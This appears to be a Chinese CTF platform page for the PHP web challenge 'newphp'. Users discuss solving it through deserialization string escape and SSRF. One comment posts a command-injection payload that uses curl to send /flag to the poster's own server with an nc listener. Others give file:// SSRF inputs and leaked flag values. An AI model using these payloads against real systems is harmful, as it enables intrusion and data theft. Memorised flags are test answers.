newphpWEB 未解决

分数: 35 金币: 3
题目作者: xluo
一  血: lastsward
一血奖励: 3金币
解  决: 890
提  示:
描  述:
flag{}
评论
老渡真的不懂 7月前

我真的人傻了,为什么'\0\0\0'是六个字符而不是三个?难道没有转义吗?为什么.cgi文件那里要加个空格?有大佬能解释下吗?

回复 0
buggggg 5月前

因为\和0是分开的两个字符串,没有转义;加一个空格是因为这里发送请求使用的curl,加完空格就能同时请求这两个url

回复 0

XRain 7月前

file:///flag 可以,我用了另一种方法:?name=123||curl -X POST -F x=@/flag http://x.x.x.x:2333/,在自己的 vps 用 nc 监听,就能接收到发送过来的请求报文,不知道这样也可以,看起来可以执行命令,但好像很多命令都执行失败了。

回复 1

mykali 10月前

flag{fb59b8a9a71cc0b34ca26905db6c520b}

回复 0

wxy1343 11月前

flag{0af3dab81edb60a93d4a173cf3070b25}

回复 0

jack12138 1年前

后边的字符逃逸和ssrf我都知道,但是为什么一定要逃逸呢,直接输序列化字符串为啥不行,没有弄清楚,跟read跟write有关是么?read和write那几句话是啥意思,有没有大佬帮忙解答一下呢

回复 0
ch1n 1年前

第三:要反序列化evil类只能通过字符串逃逸,将序列化好的evil类字符串变成user类的一个新属性(PHP可以反序列化类中不存在的属性)。

回复 2

ch1n 1年前

第二:反序列化接收的是user类的username和password属性序列化好的字符串,而读hint.php的操作是在evil类中进行的,直接传入序列化好的evil类字符串的话相当于给user类的属性赋值,跟evil类无关,所以不能直接输入evil类序列化好的字符串。

回复 3

ch1n 1年前

第一:write和read的作用是将传入的"\0\0\0"替换为"chr(0)*chr(0)",由6字符位变为3位,会造成字符串逃逸的隐患。

回复 2

Archer7 1年前

index.cgi/?name= file:///flag

回复 0

lysandria 1年前

挺难的。ssrf的header头可以用空格逃逸。

回复 1

15338641414 2年前

?name=%20file:///flag

回复 1

zhougaoleng 2年前

"User-Agent" 那一栏提示curl,终端中使用curl空格然后加协议。可能后台代码判断开头空格识别是否为协议

回复 2

lengf 2年前

www,太难了,看着wp我都做了好久,序列化和字符串逃逸,ssrf。。。

回复 0

WriteUp

image
M1kael

6 金币

评分(2)

解题动态

xiuliyeer1 攻破了该题 1天前
yitiaoxanyu123 攻破了该题 1天前
星落 攻破了该题 3天前
coolsword2023 攻破了该题 12天前
111jing 攻破了该题 16天前
hskail 攻破了该题 25天前
2742137753 攻破了该题 25天前
XcXXyx 攻破了该题 25天前
18225355670 攻破了该题 26天前
ivAyMdlo 攻破了该题 1月前
tianxiangfazhan 攻破了该题 1月前
hukaiyang 攻破了该题 1月前
我要恋爱啦 攻破了该题 1月前
网络小钦 攻破了该题 1月前
18835780752 攻破了该题 1月前
Daniel2023 攻破了该题 1月前
cz1303458467 攻破了该题 1月前
sxjxdh 攻破了该题 1月前
xiaoshi 攻破了该题 1月前
Y07 攻破了该题 2月前